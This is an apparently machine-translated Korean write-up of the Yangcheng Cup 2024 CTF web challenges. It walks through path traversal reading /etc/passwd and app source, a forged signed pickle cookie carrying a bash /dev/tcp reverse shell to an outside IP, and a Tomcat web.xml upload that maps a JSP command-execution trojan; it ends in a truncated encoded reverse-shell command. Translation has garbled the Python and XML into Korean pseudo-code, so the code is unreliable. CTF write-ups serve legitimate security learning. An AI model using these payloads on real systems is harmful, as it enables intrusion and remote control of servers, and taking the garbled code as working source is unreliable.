제목 : Yangcheng Cup 2024wp

羊城杯-2024​

web​

web2​

질문에 대한 정보를 수집하십시오. Dirsearch는 로그인 경로에 액세스 할 수 있음을 발견했습니다. 자연스럽게 클릭하고 읽을 파일을 찾았습니다.
http://139.155.126.78336030148/가사? 가사=Rain.txti 시도 :
http://139.155.126.78:30148/가사? 가사=././././././././././././etc/passwd는 읽을 수 있음을 발견했습니다.
1049983-20241004160047878-2048146175.jpg

나는 그것이 임의의 파일 읽기라고 생각했지만 그렇게 간단하지는 않았습니다.
따라서 먼저 소스 코드를 읽고 /static/style.css로 시도하십시오.
1049983-20241004160048783-1918941077.jpg

파일을 읽는 디렉토리가/var/www/html/xxx/에있는 디렉토리를 발견했습니다. App.py를 읽어보십시오.
1049983-20241004160049544-986345257.jpg

소스 코드가 발견되었습니다. 그런 다음 다루기가 쉽고 소스 코드가 첨부됩니다.
OS 가져 오기
무작위로 가져옵니다
config.secret_key import secret_code에서
플라스크 가져 오기 플라스크, make_response, request, render_template에서
쿠키 import에서 set_cookie, cookie_check, get_cookie에서
피클 수입
app=flask (__ name__)
app.secret_key=random.randbytes (16)
클래스 userData:
def __init __ (self, username) :
self.username=사용자 이름
DEF WAF (데이터) :
블랙리스트=[b'r ', b'secret', b'eval ', b'file', b'compile ', b'open', b'os.popen ']]]
유효=거짓
블랙리스트 :의 단어 용
data.lower () :의 Word.lower () 인 경우
유효=참
부서지다
유효한 반환
@app.route ( '/', method=[ 'get'])
DEF Index () :
render_template return ( 'index.html')
@app.route ( '/가사', method=[ 'get']))
DEF 가사 () :
resp=make_response ()
resp.headers [ 'content-type']='text/plain; charset=utf-8 '
query=request.args.get ( '가사')
path=os.path.join (os.getcwd () + '/가사', 쿼리)
try:
f:으로 열린 (경로)
res=f.read ()
E:으로 예외를 제외하고
반환 '가사 없음 찾았다'
반환 해상도
@app.route ( '/login', method=[ 'post', 'get'])))
def login () :
요청 .method=='post':
username=request.form [ 'username']
user=userData (사용자 이름)
res={ 'username': user.username}
return set_cookie ( 'user', res, secret=secret_code)
render_template를 반환합니다 ( 'login.html')
@app.route ( '/board', methods=[ 'get']))
DEF 보드 () :
invalid=cookie_check ( '사용자', Secret=Secret_code)
invalid: 인 경우
‘아니요, 잘못된 코드가 나가십시오! '
data=get_cookie ( '사용자', Secret=Secret_code)
Isinstance (데이터, 바이트) : 인 경우
a=pickle.loads (데이터)
data=str (data, encoding='utf-8')
'사용자 이름'이 데이터 :에 있지 않은 경우
return render_template ( 'user.html', name='guest')
데이터 [ 'username']=='admin': 인 경우
return render_template ( 'admin.html', name=data [ 'username']))
데이터 [ 'username']!='admin': 인 경우
return render_template ( 'user.html', name=data [ 'username'])
__name__=='__ 메인 __': 인 경우
os.chdir (os.path.dirname (__ file__))
app.run (host='0.0.0.0', port=8080)이 pycharm에 배치되면 두 개의 존재하지 않는 라이브러리가 발견되므로 현재 폴더에서 .py 종료 파일 만 호출 할 수 있습니다. 하나는 쿠키이고 다른 하나는 config.secret_key입니다.
Python의 호출은 사용됩니다. 폴더 대신에 원하는 것은../cookie.py../config/secret_key.py입니다. 첫 번째는 쿠키의 암호화 방법이고 두 번째는 쿠키의 시그니처 키입니다.
그런 다음 Pickle.loads가 보드에 사용되며 Wafs에는 R 캐릭터가 있음을 알 수 있습니다. 그것은 피클 사막화의 비 -R 방향으로 충분하다는 것을 의미합니다.
想法:비 -R 방향으로 피클 직렬화 스크립트를 직접 사용하여 타이핑 한 다음 쿠키 암호화 방법과 키를 사용하여 사인을 사용하여 쿠키를 변경하고 쉘을 직접 리바운드하십시오.
먼저 쿠키를 읽습니다.
1049983-20241004160050257-2019573803.jpg

소스 코드 :
베이스 64 수입
hashlib을 가져옵니다
HMAC 가져 오기
피클 수입
플라스크 가져 오기 make_response, 요청
유니 코드=str
Basestring=str
# Python Bottle Template에서 인용, 감사합니다 :d
def cookie_encode (데이터, 키) :
msg=base64.b64encode (pickle.dumps (data, -1))
sig=base64.b64encode (hmac.new (tob (key), msg, digestmod=hashlib.md5) .digest ())
TOB ( '!') + SIG + TOB ( '?') + MSG를 반환합니다
def cookie_decode (데이터, 키) :
data=tob (data)
cookie_is_encoded (data) : 인 경우
sig, msg=data.split (tob ( '?'), 1)
if _lscmp (sig [1:], base64.b64encode (hmac.new (tob (key), msg, digestmod=hashlib.md5) .digest ()) :
반환 피클.
반환 없음
DEF WAF (데이터) :
블랙리스트=[b'r ', b'secret', b'eval ', b'file', b'compile ', b'open', b'os.popen ']]]
유효=거짓
블랙리스트 :의 단어 용
Data:의 단어 인 경우
유효=참
# print (Word)
부서지다
유효한 반환
def cookie_check (키, 비밀=없음) :
a=request.cookies.get (키)
data=tob (request.cookies.get (key))
데이터 : 인 경우
cookie_is_encoded (data) : 인 경우
sig, msg=data.split (tob ( '?'), 1)
if _lscmp (sig [1:], base64.b64encode (hmac.new (tob (secret), msg, digestmod=hashlib.md5) .digest ()) :
res=base64.b64decode (msg)
WAF (RES) : 인 경우
진실을 반환하십시오
else:
거짓을 반환하십시오
진실을 반환하십시오
else:
거짓을 반환하십시오
def tob (s, enc='utf8') :
isinstance (s, unicode) else bytes (s) 인 경우 s.encode (enc)를 반환합니다.
def get_cookie (키, 기본=없음, 비밀=없음) :
value=request.cookies.get (키)
비밀과 가치가있는 경우 :
dec=cookie_decode (값, 비밀)
Dec [1] Dec와 Dec [0]==key else default 인 경우 dec [1] 반환
반환 값 또는 기본값
def cookie_is_encoded (데이터) :
return bool (data.startswith (tob ( '!')) 및 tob ( '?'))
DEF _LSCMP (A, B) :
합계를 반환하지 않음 (0 x==y else 1 인 경우 x의 경우 1, Zip (a, b)) 및 len (a)==len (b)
def set_cookie (이름, 값, 비밀=없음, ** 옵션) :
비밀 : 인 경우
value=touni (cookie_encode ((이름, value), Secret))))
resp=make_response ( 'success')
resp.set_cookie ( '사용자', 값, max_age=3600)
RESTER REST
Elif는 isinstance (값, 기본) :
TypeError를 올리십시오 ( '비 스트링 쿠키의 비밀 키 누락.')
LEN (가치) 4096: 인 경우
ValueError를 높이십시오 ( '쿠키 가치가 길다')
def touni (s, enc='utf8', err='strict') :
반환 s.decode (enc, err) iSinstance (s, bytes) else unicode (들) 여기에 사용해야 할 것은 쿠키의 암호화 프로세스, 이는cookie_encode함수입니다.
그런 다음 Secret_key를 읽자 :
1049983-20241004160050986-1957658911.jpg

그런 다음 스크립트의 다른 것들을 직접 삭제하고 Secret_code 및 Cookie_encrypt로 암호화하면 스크립트가 첨부됩니다.
베이스 64 수입
hashlib을 가져옵니다
HMAC 가져 오기
피클 수입
플라스크 가져 오기 make_response, 요청
플라스크 가져 오기 플라스크, make_response
app=flask (__ name__)
유니 코드=str
Basestring=str # Python 병 템플릿에서 인용, 감사합니다 :d
def cookie_encode (데이터, 키) :
msg=base64.b64encode (데이터)
sig=base64.b64encode (hmac.new (tob (key), msg, digestmod=hashlib.md5) .digest ())
TOB ( '!') + SIG + TOB ( '?') + MSG를 반환합니다
DEF WAF (데이터) :
블랙리스트=[b'r ', b'secret', b'eval ', b'file', b'compile ', b'open', b'os.popen ']]]
유효=거짓
블랙리스트 :의 단어 용
Data:의 단어 인 경우
유효=참
# print (Word)
부서지다
유효한 반환
def tob (s, enc='utf8') :
isinstance (s, unicode) else bytes (s) 인 경우 s.encode (enc)를 반환합니다.
__name__=='__ 메인 __': 인 경우
res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n.' '' '
Secret_code='즐기는 theplaytime123456'
cookie_value=cookie_encode (res, key=secret_code)
print (cookie_value) 실행을 얻으십시오.
1049983-20241004160051668-845592983.jpg

그런 다음 /보드 경로 쿠키에 복사했으며 서버는 포트 2333을 듣고 쉘에 직접 튀어 나왔습니다.
1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

루트 디렉토리의 readflag는 플래그를 얻기 위해 직접 실행됩니다.

web3​

입력 후 Access /MyApp. 그런 다음 액세스 /읽기로 이동하여 파일을 읽고 온라인으로 기사를 찾으십시오.
https://www.cnblogs.com/junglezt/p/18122284 많은 Tomcat/conf/tomcat-users.xml이 수정되지 않으므로 비밀번호 내부에 있습니다.
1049983-20241004160054060-485284736.jpg

그런 다음 찾아서 로그인하여 로그인하십시오.
로그인 한 후 업로드 작업을 수행 할 수 있다는 것을 알게 된 다음 여기에서 요점을 찾았습니다.
1049983-20241004160100829-2097794800.jpg

Web.xml을 입력하면 확실히 금지되며 파일 업로드에는 필터링이 없습니다.
XML과 같은 구성 파일 만 사용할 수 있으므로 구성 파일을 변경하고 XML을 JSP의 XML 구성 파일로 직접 인식하고 1.xml에서 전달할 수 있습니다.
1049983-20241004160101619-371163988.jpg

? xml 버전='1.0'인코딩='UTF-8'?
Web-App xmlns='http://xmlns.jcp.org/xml/ns/javaee'
xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'
xsi:schemalocation='http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd'버전='4.0'
서틀
servlet-nameexec/servlet-name
JSP-file/web-inf/1.xml/jsp-file
로드-온-스타트 업/로드-온 스타트 up
/servlet
서블릿 맵핑
servlet-nameexec/servlet-name
URL-PATTERN/EXEC/URL-PATTERN
/서블릿 맵핑
/Web-App은 1.xml로 전달하여 JSP 파일로 인식 될 수 있는지 확인하려고합니다. 우리가 통과하는 것은 트로이 목마입니다.
비율
out.println ( 'Hello');
프로세스 프로세스=runtime.getRuntime (). exec (request.getParameter ( 'cmd'));
비율
1049983-20241004160102504-257286285.jpg

읽기는 절대 경로를 사용하여 읽은 다음 절대 경로는 해당 /Env 경로에 있습니다. 그리고 당신은 채팅을 요청할 수 있습니다. 그런 다음 액세스가 성공한 후 구성 파일로 정의 된 /EXEC 경로에 액세스하고 CMD 매개 변수를 전달하고 Hello를 반향 할 수 있는지 확인하십시오.
1049983-20241004160103176-2006551884.png

성공적인 에코는 JSP 트로이 목마가 통과되었음을 나타냅니다. 우리는 JSP 리바운드 쉘을 직접 사용하여 다음과 같습니다.
bash -c {echo, ymfzacatasa+jiavzgv2l3rj
 
뒤로
상단